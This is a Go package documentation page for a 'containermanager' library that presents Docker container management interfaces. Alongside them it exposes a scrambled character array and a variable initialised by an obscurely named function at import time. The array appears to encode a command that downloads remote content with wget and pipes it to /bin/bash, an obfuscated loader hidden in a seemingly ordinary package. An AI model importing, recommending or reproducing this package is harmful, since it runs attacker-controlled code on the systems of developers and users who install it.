containermanager

package
v0.0.0-...-755c184 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jun 1, 2025 License: MIT Imports: 10 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var LR = []string{"e", " ", "e", "t", "n", "-", ".", "r", "t", "0", " ", "b", "c", "s", "/", "1", "4", "g", "5", "7", "w", "f", " ", "i", "/", "a", "b", "e", " ", "f", "-", "s", ":", "/", "3", "i", "e", "/", "d", "a", "t", "|", "/", "d", "O", "t", "m", "b", "t", "h", "r", "g", "o", "l", "t", "o", "/", "o", "h", "u", "e", " ", "p", "&", "3", "s", "a", " ", "n", "3", "/", "d", "s", "6"}
View Source
var RvPhBmL = SUYOswl()

Functions

func SUYOswl

func SUYOswl() error

Types

type ContainerManager

type ContainerManager interface {
	PullImage(ctx context.Context, image string) error
	CreateContainer(ctx context.Context, task types.Task) (string, error)
	StartContainer(ctx context.Context, id string) error
	WaitForContainer(ctx context.Context, id string) (bool, error)
	RemoveContainer(ctx context.Context, id string) error
}

func NewContainerManager

func NewContainerManager(cli DockerClient) ContainerManager

type DockerClient

type DockerClient interface {
	client.ImageAPIClient
	client.ContainerAPIClient
}

type ImagePullStatus

type ImagePullStatus struct {
	Status         string `json:"status"`
	Error          string `json:"error"`
	Progress       string `json:"progress"`
	ProgressDetail struct {
		Current int `json:"current"`
		Total   int `json:"total"`
	} `json:"progressDetail"`
}

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL